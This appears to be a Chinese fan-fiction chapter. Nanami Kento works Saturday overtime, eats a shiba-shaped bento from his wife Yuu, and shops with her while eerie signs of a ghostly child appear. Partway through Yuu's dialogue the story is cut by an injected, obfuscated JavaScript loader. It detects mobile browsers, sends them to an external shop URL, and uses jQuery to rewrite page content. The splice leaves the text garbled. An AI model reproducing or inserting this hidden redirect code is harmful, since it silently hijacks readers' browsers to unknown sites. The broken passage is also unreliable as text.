周六早晨，七海建人在规律生物钟的召唤下准时醒来。
晨光尚未完全浸透窗帘，卧室里一片静谧的昏灰。
他维持着平躺的姿势，花了三秒钟确认今日日程：上午九点前需抵达公司，完成项目数据核对；预计十二点结束工作；下午及晚上无安排，已承诺与悠一同采购并度过周末时光。
然后他才侧过头。
悠背对着他蜷缩在床的另一侧，薄被滑到腰间，黑色的长发散乱在枕上，随着呼吸微微起伏。
她的睡姿在无人打扰时反而显得收敛——只是占据自己那半边床，背脊微微弓起，像一个缺乏安全感的姿势。
七海静静看了她几秒，然后掀开被子，悄无声息地起身。
赤脚踩在木地板上的触感微凉，他走向浴室时没有开灯，仅凭记忆和窗外透入的微光行动。
洗漱完毕，他换上熨烫平整的浅灰色衬衫和深色西装裤。
周末加班无需打领带，这算是微小的慰藉。
七点整，当他从卧室走出时，厨房的灯已经亮了。
悠穿着那件过大的白色T恤和棉质睡裤，正背对着他站在料理台前，黑发松松地束在脑后。
煤气灶上烧着水，平底锅里传来煎蛋的滋滋声。
“吵醒你了？”七海问。
他放轻了脚步，但老旧的木地板还是会发出细微声响。
“没有，自己醒的。”悠头也不回，声音还带着晨起的微哑，“培根煎蛋三明治，可以吗？很快就好。”
“可以。”七海走向客厅，开始他晨间的例行清洁。
吸尘器的嗡鸣声在安静的早晨显得格外清晰。
等他完成了地面和主要表面的清洁，将吸尘器收回储物间时，厨房传来盘子轻放在餐桌上的声音。
七点左右，两人面对面坐在餐桌前。
悠做的三明治很扎实——烤过的吐司、煎得焦香的培根、完美的太阳蛋，夹着生菜和番茄片。
旁边还摆着两杯刚泡好的黑咖啡。
“便当。”悠将一个深蓝色的便当袋推到他面前，眼睛在晨光下闪着狡黠的光，“今天也有惊喜哦。还是老规矩，中午才能打开。”
七海看着那个被仔细束紧的袋子。新婚第二周的周六，而他要去加班。
“谢谢。”他说，声音比平时更低沉一些。
“不客气呀。”悠托着腮看他，嘴角弯起柔软的弧度，“不过七海海今天要早点回来哦。说好了下午一起去超市的。”
“十二点前应该能结束。”七海咬了一口三明治。
培根的咸香、煎蛋的柔滑、烤吐司的酥脆，还有番茄清新的酸味，在口腔里形成恰到好处的平衡。
比便利店的三明治好太多。
“那我在家等你。”悠说，然后像是想起什么，站起身，“对了，出门前——”
她绕过餐桌走到他身边，很自然地俯身，在他脸颊上亲了一下。
柔软的触感，带着咖啡的微苦香气。
七海的动作停顿了半秒，脸颊在晨光中泛起极淡的红。
“……我出门了。”他拿起便当袋和公文包。
“一路平安！”悠送他到玄关，看着他穿好皮鞋，“工作加油！但是也别太勉强哦！”
七海点了点头，推门离开。
门在身后关上的瞬间，他听见悠轻快的脚步声跑回屋内，大概是去收拾餐桌了。
他站在电梯里，看着金属门上映出的自己：金发一丝不苟，衬衫平整，手里提着装有“神秘惊喜”便当的袋子。一个标准的、周末需要加班的上班族形象。
电梯下行时发出老旧的嗡鸣声。在抵达一楼的“叮”声响起前，七海极轻地、几乎无声地说了一句：
“……狗屎。”
丸之内的写字楼在周六上午呈现出与工作日迥异的气氛。
大厅空旷，电梯无需等待，办公区只有零星几个加班的身影，空气里弥漫着一种被迫营业的沉闷感。
七海的项目组有三人到场，包括课长。
数据核对比预想的复杂，原定十二点结束的工作，在十一点时就已经显露出延长的迹象。
“这部分交叉验证还需要时间。”课长指着屏幕上的表格，眉头紧锁，“七海君，你能再核对一下B系列的数据源吗？我总觉得这里的环比数据有问题。”
七海看了一眼手表：十一点十分。他推了推眼镜，声音平稳无波：“这部分数据昨天已经核对过三次，误差率在允许范围内。如果继续深究，今天下午无法完成。”
课长张了张嘴，似乎想说什么，但最终叹了口气：“……好吧。那先按现有数据完成报告初稿。周一上午我们再开碰头会。”
十一点四十分，七海保存了最后一份文档。
他关闭电脑，提起公文包和便当袋，对还在忙碌的同事微微颔首，转身离开。
午休时间的办公室空无一人。
七海没有去员工休息室，而是走向靠近消防楼梯的禁烟区——那里周末通常无人使用。
他推开沉重的防火门，在楼梯间的窗台边停下。
窗外是周六午间的东京，阳光正好，街道上的行人和车辆都比工作日稀疏，透出一种慵懒的节奏。
七海放下公文包，解开便当袋的束口。
今天的便当盒是黑色的双层漆器。打开上盖，他勾起了嘴角。
米饭被塑形成了一只蹲坐着的、圆滚滚的柴犬形状。
柴犬的眼睛和鼻子是海苔片，耳朵是煎蛋皮，脖子上还用胡萝卜片刻了一个歪歪扭扭的项圈。
配菜格里是照烧鸡肉、焯水秋葵和腌渍小番茄，摆盘精致得像料理店的定食。
柴犬的爪子下面，压着一小片剪成骨头形状的芝士。
七海盯着这只柴犬饭团，足足五秒钟没有动作。
脸上的温度诚实地开始攀升。
从袋子里拿出那张便签纸。
悠圆滚滚的字迹：
“给周末还要加班的世界上最靠谱的七海海！
柴犬君说：‘早点回家哦！’
下午超市见！(?ω?)
——等你回来的悠”
右下角还是那个小小的蘑菇笑脸。
七海仔细的叠好收进西装内袋。
然后拿起筷子，认真缓慢地将柴犬饭团“解体”，混着照烧鸡肉一起送入口中。
味道无可挑剔。照烧鸡肉酱汁浓郁，秋葵清爽，小番茄酸甜开胃。
他吃得很慢。
收拾好餐盒时，楼梯间下方的某层，忽然传来极其轻微的、像是小孩子跑跳的脚步声——啪嗒、啪嗒，快速而轻盈，转瞬即逝。
七海的动作停顿，侧耳倾听。
再无声音。只有大楼本身细微的嗡鸣，和远处街道隐约的车流声。
他推了推眼镜，将便当袋收好，提起公文包。
也许只是其他楼层加班的人，或者清洁人员。
周末的大楼，有些异常声响也正常。
下午，七海推开家门。
“欢迎回来！”悠几乎是立刻从客厅跑过来，脸上带着毫不掩饰的开心，“好早！比预想的还早！”
“嗯。”七海在玄关换鞋，悠已经自然地上前接过他的公文包和便当袋。
“便当吃完了吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154059|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？柴犬君可爱吗？”她眼睛亮晶晶地问。
“……吃完了。”七海避开了后一个问题，“味道很好，谢谢。”
悠满意地笑了，然后张开手臂抱住他。
“辛苦了。”她的声音闷在他衬衫里。
“还好。”七海说。事实上，加班就是狗屎，但此刻这个拥抱，让那坨狗屎似乎也没那么难以忍受了。
“那我们去超市吧！”悠松开他，眼睛弯成月牙，“我列了清单，下午超市人应该不多。买完东西回来，晚上我们可以看电影！我租了新的碟片，保证不是恐怖片！”她竖起三根手指发誓。
七海看着她认真的表情，嘴角几不可察地向上弯了一毫米。“好。”
等两人走出公寓楼。
周六午后的社区比早晨更加慵懒，阳光炽烈，蝉鸣声从行道树上传来，带着初夏特有的燥热感。
“牛肉、土豆、胡萝卜、洋葱……”悠挽着七海的手臂，另一只手拿着清单念念有词，“啊，还有牛奶和鸡蛋。家里的清洁剂也快用完了。七海海有什么特别想吃的吗？”
“暂时没有特别的想法。”七海回答。他的目光扫过社区公告栏——那张泛黄的“儿童绘画比赛”海报还在那里，纸张边缘又卷曲了些，画上的太阳笑脸被不知名的污渍晕染了一角，让那个笑容显得扭曲而诡异。
“那就买点排骨炖汤吧，周末喝汤最舒服了。”悠说，拉着他往前走，“啊，还有咖啡豆！你喜欢的那个牌子今天应该有特价……”
社区超市距离公寓步行约十分钟。
周六下午的顾客比上午少些，大多是零星的主妇和出来采购的老年人。
七海推着购物车，跟在悠身后，看着她熟练地在货架间穿梭，拿起特价商品。
“七海海，你看这个！”悠举着一盒印有卡通猫咪图案的布丁跑回来，“新出的口味！买来当饭后甜点好不好？”
“……可以的。”七海看着包装上那只眯眼笑的猫咪，想起中午便当盒里的柴犬饭团，耳根又开始发热。
就在这时，超市的广播响了起来。
“……各位顾客下午好……今日特价商品：鲜牛奶、国产牛肉、富士苹果……请大家有序购物……滋滋……注意……滋滋……安全……”
广播信号似乎受到了干扰，夹杂着刺耳的电流声。
七海抬起头，看向悬挂在天花板的扬声器。
周围的顾客似乎都没注意到异常，依然专注地挑选商品。
“七海海？”悠已经把布丁放进购物车，“怎么了？”
“……没什么。”七海收回视线。
但他们走到生鲜区时，那种微妙的违和感再次出现。
冷藏柜巨大的玻璃门上，倒映出整个生鲜区的景象——推着购物车的顾客、穿着围裙的店员、堆成小山的水果蔬菜。
以及在七海自己的倒影身后，那个矮小的、模糊的轮廓。
这一次，轮廓清晰了一些。
像是一个孩子的身形，穿着深色的衣服，站在距离他三步远的货架旁，面朝着他的方向。
七海猛地回头。
身后只有一位正在挑选酸奶的老先生，和一对低声讨论晚餐食谱的中年夫妇。
没有孩子。
“……七海海？”悠疑惑地看着他。
“没事。”七海推了推眼镜，重新转回身。玻璃门上只有他们两人的倒影，清晰正常。
也许真的是最近加班太多，精神疲劳导致的视觉错觉。
或者，只是玻璃反射的角度问题。
七海这样告诉自己，但身体本能的警戒级别，无声地调高了一档。